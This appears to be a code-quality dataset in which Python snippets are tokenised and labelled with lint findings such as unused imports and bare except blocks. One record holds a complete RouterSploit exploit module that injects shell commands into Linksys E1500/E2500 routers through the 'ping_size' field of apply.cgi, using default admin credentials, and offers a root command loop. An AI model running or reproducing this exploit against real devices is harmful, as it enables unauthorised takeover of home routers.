"===", "\\", "10", ";\"\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "mod_", "in_", "glob_", "(_", "'", "bor", "g", "/*", ".", "py", "'_", ")_", "+_", "glob_", "(_", "'", "bor", "g", "/*", ".", "pyx", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "exam", "inin", "g", " ", "module", " ", "%", "s", "\"_", "%_", "mod_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mod_", "=_", "mod_", "._", "replace_", "(_", "'.", "pyx", "'_", ",_", "''_", ")_", "._", "replace_", "(_", "'.", "py", "'_", ",_", "''_", ")_", "._", "replace_", "(_", "'/'_", ",_", "'.'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\".\\", "u", "\"_", "not_", "in_", "mod_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "doc_", "._", "write_", "(_", "\"\"\"", "\\", "10", ";", "..", " ", "autom", "odule", "::", " ", "%", "s", "\\", "10", ";", " ", " ", " ", " ", ":", "member", "s", ":", "\\", "10", ";", " ", " ", " ", " ", ":", "undo", "c", "-", "member", "s", ":", "\\", "10", ";\"\"\"_", "%_", "mod_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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{ "content": "# vim:ts=4:sw=4:expandtab\nfrom logmod import log, levels as loglevels, set_log_level\nimport events\nfrom core import sleep, Loop, wait, fire, thread, until, Connection, UDPSocket, ConnectionClosed, ClientConnectionClosed, signal\nfrom core import until_eol, send, receive, call, first, fork, fork_child, label, fork_from_thread\nfrom core import ParentDiedException, ClientConnectionError, TerminateLoop, datagram\nfrom app import Application, Service, UDPService, quickstart, quickstop, Thunk\nfrom client import Client, UDPClient\nfrom resolver import resolve_dns_name, DNSResolutionError\nfrom runtime import is_running\nfrom hub import ExistingSignalHandler\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from logmod import log, levels as loglevels, set_log_level", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 58 }, { "span": "import events", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 13 }, { "span": "from core import sleep, Loop, wait, fire, thread, until, Connection, UDPSocket, ConnectionClosed, ClientConnectionClosed, signal", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 128 }, { "span": "from core import until_eol, send, receive, call, first, fork, fork_child, label, fork_from_thread", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 97 }, { "span": "from core import ParentDiedException, ClientConnectionError, TerminateLoop, datagram", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 84 }, { "span": "from app import Application, Service, UDPService, quickstart, quickstop, Thunk", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 78 }, { "span": "from client import Client, UDPClient", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 36 }, { "span": "from resolver import resolve_dns_name, DNSResolutionError", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 57 }, { "span": "from runtime import is_running", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 30 }, { "span": "from hub import ExistingSignalHandler", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 37 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "vim", ":", "ts", "=", "4", ":", "sw", "=", "4", ":", "expand", "tab_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "logm", "od_", "import_", "log_", ",_", "levels_", "as_", "logl", "evel", "s_", ",_", "set\\u", "log", "\\u", "level_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "events_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "core_", "import_", "sleep_", ",_", "Loop_", ",_", "wait_", ",_", "fire_", ",_", "thread_", ",_", "until_", ",_", "Connection_", ",_", "UD", "PS", "ocket", "_", ",_", "Connect", "ion", "Closed_", ",_", "Client", "Connect", "ion", "Closed_", ",_", "signal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "core_", "import_", "unti", "l\\u", "eol_", ",_", "send_", ",_", "receive_", ",_", "call_", ",_", "first_", ",_", "fork_", ",_", "fork", "\\u", "child_", ",_", "label_", ",_", "fork", "\\u", "from", "\\u", "thread_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "core_", "import_", "Parent", "Die", "d", "Exception_", ",_", "Client", "Connect", "ion", "Error_", ",_", "Terminate", "Loop_", ",_", "datagram", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "app_", "import_", "Application_", ",_", "Service_", ",_", "UD", "PS", "ervice", "_", ",_", "quicks", "tart_", ",_", "quicks", "top_", ",_", "Thu", "nk_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "client_", "import_", "Client_", ",_", "UD", "PC", "lient_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "resolver_", "import_", "resolve", "\\u", "dns", "\\u", "name_", ",_", "DNS", "Reso", "luti", "on", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "runtime_", "import_", "is", "\\u", "running_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "hub_", "import_", "Exist", "ing", "Signal", "Handler_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1 ]
Unused import
reverse-shell/routersploit/routersploit/modules/exploits/linksys/1500_2500_rce.py
[ { "content": "import re\n\nfrom routersploit import (\n exploits,\n print_success,\n print_status,\n print_error,\n random_text,\n sanitize_url,\n http_request,\n mute,\n)\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Exploit(exploits.Exploit):\n \"\"\"\n Exploit for Linksys E1500 and E2500 devices Remote Code Execution vulnerability.\n If the target is vulnerable, command loop is invoked that allows executing commands with root privileges.\n \"\"\"\n __info__ = {\n 'name': 'Linksys E1500/E2500',\n 'description': 'Module exploits remote command execution in Linksys E1500/E2500 devices. Diagnostics interface allows executing root privileged shell commands is available on dedicated web pages on the device.',\n 'authors': [\n 'Michael Messner', # vulnerability discovery\n 'Esteban Rodriguez (n00py)', # routersploit module\n ],\n 'references': [\n 'https://www.exploit-db.com/exploits/24475/',\n ],\n 'targets': [\n 'Linksys E1500/E2500',\n ]\n }\n\n target = exploits.Option('', 'Target address e.g. http://192.168.1.1')\n port = exploits.Option(80, 'Target Port')\n username = exploits.Option('admin', 'Username to login with')\n password = exploits.Option('admin', 'Password to login with')\n\n\n\n", "metadata": "root.Exploit", "header": "['module', '___EOS___']", "index": 14 }, { "content": " def run(self):\n if self.check():\n print_success(\"Target is vulnerable\")\n print_status(\"Invoking command loop...\")\n print_status(\"It is blind command injection - response is not available\")\n self.command_loop()\n else:\n print_error(\"Target is not vulnerable\")", "metadata": "root.Exploit.run", "header": "['class', 'Exploit', '(', 'exploits', '.', 'Exploit', ')', ':', '___EOS___']", "index": 39 }, { "content": " def command_loop(self):\n while 1:\n cmd = raw_input(\"cmd > \")\n\n if cmd in ['exit', 'quit']:\n return\n\n print self.execute(cmd)", "metadata": "root.Exploit.command_loop", "header": "['class', 'Exploit', '(', 'exploits', '.', 'Exploit', ')', ':', '___EOS___']", "index": 48 }, { "content": " def execute(self, cmd):\n url = sanitize_url(\"{}:{}/apply.cgi\".format(self.target, self.port))\n data = {\"submit_button\": \"Diagnostics\", \"change_action\":\"gozila_cgi\", \"submit_type\":\"start_ping\",\"action\":\"\",\"commit\":\"0\",\"ping_ip\":\"127.0.0.1\",\"ping_size\": \"&\" + cmd,\"ping_times\":\"5\",\"traceroute_ip\":\"127.0.0.1\"}\n\n response = http_request(method=\"POST\", url=url, data=data, auth=(self.username, self.password))\n return \"\"", "metadata": "root.Exploit.execute", "header": "['class', 'Exploit', '(', 'exploits', '.', 'Exploit', ')', ':', '___EOS___']", "index": 57 }, { "content": " @mute\n def check(self):\n mark = random_text(32)\n cmd = \"echo {}\".format(mark)\n url = sanitize_url(\"{}:{}/apply.cgi\".format(self.target, self.port))\n data = {\"submit_button\": \"Diagnostics\", \"change_action\":\"gozila_cgi\", \"submit_type\":\"start_ping\",\"action\":\"\",\"commit\":\"0\",\"ping_ip\":\"127.0.0.1\",\"ping_size\": \"&\" + cmd,\"ping_times\":\"5\",\"traceroute_ip\":\"127.0.0.1\" }\n\n response = http_request(method=\"POST\", url=url, data=data, auth=(self.username, self.password))\n if response is None:\n return False # target is not vulnerable\n\n if mark in response.text:\n return True # target is vulnerable\n\n return False # target is not vulnerable", "metadata": "root.Exploit.check", "header": "['class', 'Exploit', '(', 'exploits', '.', 'Exploit', ')', ':', '___EOS___']", "index": 64 } ]
[ { "span": "import re", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 9 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "router", "spl", "oi", "t_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "exploit", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "print", "\\u", "success_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "print", "\\u", "status_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "print", "\\u", "error_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random", "\\u", "text_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sanitize", "\\u", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "http", "\\u", "request_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Explo", "it_", "(_", "exploit", "s_", "._", "Explo", "it_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Explo", "it", " ", "for", " ", "Link", "sys", " ", "E1", "500", " ", "and", " ", "E2", "500", " ", "device", "s", " ", "Remo", "te", " ", "Code", " ", "Execut", "ion", " ", "vulnerability", ".", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "the", " ", "target", " ", "is", " ", "vulnerab", "le", ",", " ", "command", " ", "loop", " ", "is", " ", "invoke", "d", " ", "tha", "t", " ", "allow", "s", " ", "executi", "ng", " ", "command", "s", " ", "with", " ", "root", " ", "privilege", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "info", "\\u\\u_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "Link", "sys", " ", "E1", "500", "/", "E2", "500", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "description", "'_", ":_", "'", "Modul", "e", " ", "exploit", "s", " ", "remote", " ", "command", " ", "executi", "on", " ", "in", " ", "Link", "sys", " ", "E1", "500", "/", "E2", "500", " ", "device", "s", ".", " ", "Diagnostic", "s", " ", "interface", " ", "allow", "s", " ", "executi", "ng", " ", "root", " ", "privilege", "d", " ", "shell", " ", "command", "s", " ", "is", " ", "avail", "able", " ", "on", " ", "dedicated", " ", "web", " ", "page", "s", " ", "on", " ", "the", " ", "device", ".'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "author", "s", "'_", ":_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Mich", "ael", " ", "Mess", "ner", "'_", ",_", "#", " ", "vulnerability", " ", "discovery_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Est", "eba", "n", " ", "Rod", "rig", "ue", "z", " ", "(", "n", "00", "py", ")'_", ",_", "#", " ", "router", "spl", "oi", "t", " ", "module_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reference", "s", "'_", ":_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "'", "https", "://", "www", ".", "exploit", "-", "db", ".", "com", "/", "exploit", "s", "/", "244", "7", "5", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "target", "s", "'_", ":_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Link", "sys", " ", "E1", "500", "/", "E2", "500", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "target_", "=_", "exploit", "s_", "._", "Option_", "(_", "''_", ",_", "'", "Target", " ", "address", " ", "e", ".", "g", ".", " ", "http", "://", "192", ".1", "68.", "1.1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "exploit", "s_", "._", "Option_", "(_", "80_", ",_", "'", "Target", " ", "Port", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "username_", "=_", "exploit", "s_", "._", "Option_", "(_", "'", "admin", "'_", ",_", "'", "User", "name", " ", "to", " ", "login", " ", "with", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "password_", "=_", "exploit", "s_", "._", "Option_", "(_", "'", "admin", "'_", ",_", "'", "Passw", "ord", " ", "to", " ", "login", " ", "with", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Explo", "it_", "(_", "exploit", "s_", "._", "Explo", "it_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "run_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "check_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print", "\\u", "success_", "(_", "\"", "Target", " ", "is", " ", "vulnerab", "le", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print", "\\u", "status_", "(_", "\"", "Invok", "ing", " ", "command", " ", "loop", "...\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print", "\\u", "status_", "(_", "\"", "It", " ", "is", " ", "blind", " ", "command", " ", "injection", " ", "-", " ", "response", " ", "is", " ", "not", " ", "avail", "able", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "command", "\\u", "loop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print", "\\u", "error_", "(_", "\"", "Target", " ", "is", " ", "not", " ", "vulnerab", "le", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Explo", "it_", "(_", "exploit", "s_", "._", "Explo", "it_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "command", "\\u", "loop_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "while_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cmd_", "=_", "raw", "\\u", "input_", "(_", "\"", "cmd", " ", ">", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "cmd_", "in_", "[_", "'", "exit", "'_", ",_", "'", "quit", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "self_", "._", "execute_", "(_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Explo", "it_", "(_", "exploit", "s_", "._", "Explo", "it_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "execute_", "(_", "self_", ",_", "cmd_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "sanitize", "\\u", "url_", "(_", "\"{}", ":{}", "/", "appl", "y", ".", "cgi", "\"_", "._", "format_", "(_", "self_", "._", "target_", ",_", "self_", "._", "port_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\"", "submit", "\\u", "button", "\"_", ":_", "\"", "Diagnostic", "s", "\"_", ",_", "\"", "change", "\\u", "action", "\"_", ":_", "\"", "go", "zil", "a", "\\u", "cgi", "\"_", ",_", "\"", "submit", "\\u", "type", "\"_", ":_", "\"", "start", "\\u", "ping", "\"_", ",_", "\"", "action", "\"_", ":_", "\"\"_", ",_", "\"", "commit", "\"_", ":_", "\"", "0", "\"_", ",_", "\"", "ping", "\\u", "ip", "\"_", ":_", "\"", "127", ".0", ".0", ".1", "\"_", ",_", "\"", "ping", "\\u", "size", "\"_", ":_", "\"&\"_", "+_", "cmd_", ",_", "\"", "ping", "\\u", "times", "\"_", ":_", "\"", "5", "\"_", ",_", "\"", "tracer", "oute", "\\u", "ip", "\"_", ":_", "\"", "127", ".0", ".0", ".1", "\"_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "http", "\\u", "request_", "(_", "method_", "=_", "\"", "POST", "\"_", ",_", "url_", "=_", "url_", ",_", "data_", "=_", "data_", ",_", "auth_", "=_", "(_", "self_", "._", "username_", ",_", "self_", "._", "password_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Explo", "it_", "(_", "exploit", "s_", "._", "Explo", "it_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "mute_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "check_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mark_", "=_", "random", "\\u", "text_", "(_", "32_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "=_", "\"", "echo", " ", "{}\"_", "._", "format_", "(_", "mark_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "sanitize", "\\u", "url_", "(_", "\"{}", ":{}", "/", "appl", "y", ".", "cgi", "\"_", "._", "format_", "(_", "self_", "._", "target_", ",_", "self_", "._", "port_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\"", "submit", "\\u", "button", "\"_", ":_", "\"", "Diagnostic", "s", "\"_", ",_", "\"", "change", "\\u", "action", "\"_", ":_", "\"", "go", "zil", "a", "\\u", "cgi", "\"_", ",_", "\"", "submit", "\\u", "type", "\"_", ":_", "\"", "start", "\\u", "ping", "\"_", ",_", "\"", "action", "\"_", ":_", "\"\"_", ",_", "\"", "commit", "\"_", ":_", "\"", "0", "\"_", ",_", "\"", "ping", "\\u", "ip", "\"_", ":_", "\"", "127", ".0", ".0", ".1", "\"_", ",_", "\"", "ping", "\\u", "size", "\"_", ":_", "\"&\"_", "+_", "cmd_", ",_", "\"", "ping", "\\u", "times", "\"_", ":_", "\"", "5", "\"_", ",_", "\"", "tracer", "oute", "\\u", "ip", "\"_", ":_", "\"", "127", ".0", ".0", ".1", "\"_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "http", "\\u", "request_", "(_", "method_", "=_", "\"", "POST", "\"_", ",_", "url_", "=_", "url_", ",_", "data_", "=_", "data_", ",_", "auth_", "=_", "(_", "self_", "._", "username_", ",_", "self_", "._", "password_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "response_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "#", " ", "target", " ", "is", " ", "not", " ", "vulnerab", "le_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "mark_", "in_", "response_", "._", "text_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "#", " ", "target", " ", "is", " ", "vulnerab", "le_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "False_", "#", " ", "target", " ", "is", " ", "not", " ", "vulnerab", "le_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2,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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
OP2/PyOP2/test/conftest.py
[ { "content": "def pytest_collection_modifyitems(items):\n \"\"\"Group test collection by backend instead of iterating through backends\n per test.\"\"\"\n def cmp(item1, item2):\n def get_backend_param(item):\n try:\n return item.callspec.getparam(\"backend\")\n # AttributeError if no callspec, ValueError if no backend parameter\n except:\n # If a test does not take the backend parameter, make sure it\n # is run before tests that take a backend\n return '_nobackend'\n\n param1 = get_backend_param(item1)\n param2 = get_backend_param(item2)\n\n # Group tests by backend\n if param1 < param2:\n return -1\n elif param1 > param2:\n return 1\n return 0\n items.sort(cmp=cmp)", "metadata": "root.pytest_collection_modifyitems", "header": "['module', '___EOS___']", "index": 72 }, { "content": "@pytest.fixture(scope='session')\ndef backend(request):\n backend, lazy = request.param\n # Initialise the backend\n try:\n op2.init(backend=backend, lazy_evaluation=(lazy == 'lazy'))\n # Skip test if initialisation failed\n except:\n pytest.skip('Backend %s is not available' % backend)\n return backend", "metadata": "root.backend", "header": "['module', '___EOS___']", "index": 176 } ]
[ { "span": "except:", "start_line": 80, "start_column": 12, "end_line": 80, "end_column": 19 }, { "span": "except:", "start_line": 183, "start_column": 4, "end_line": 183, "end_column": 11 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "pytest", "\\u", "collection", "\\u", "modif", "yi", "tems_", "(_", "items_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Group", " ", "test", " ", "collection", " ", "by", " ", "back", "end", " ", "inst", "ead", " ", "of", " ", "iterati", "ng", " ", "through", " ", "back", "ends", "\\", "10", ";", " ", " ", " ", " ", "per", " ", "test", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "cmp_", "(_", "item1_", ",_", "item2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "get", "\\u", "back", "end", "\\u", "param_", "(_", "item_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "item_", "._", "calls", "pec_", "._", "getpar", "am_", "(_", "\"", "back", "end", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Attribute", "Error", " ", "if", " ", "no", " ", "calls", "pec", ",", " ", "Value", "Error", " ", "if", " ", "no", " ", "back", "end", " ", "parameter_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "a", " ", "test", " ", "doe", "s", " ", "not", " ", "take", " ", "the", " ", "back", "end", " ", "parameter", ",", " ", "make", " ", "sure", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "is", " ", "run", " ", "bef", "ore", " ", "tests", " ", "tha", "t", " ", "take", " ", "a", " ", "backend_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'\\u", "nob", "acke", "nd", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "param1_", "=_", "get", "\\u", "back", "end", "\\u", "param_", "(_", "item1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "param", "2_", "=_", "get", "\\u", "back", "end", "\\u", "param_", "(_", "item2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Group", " ", "tests", " ", "by", " ", "backend_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "param1_", "<_", "param", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "param1_", ">_", "param", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "items_", "._", "sort_", "(_", "cmp_", "=_", "cmp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 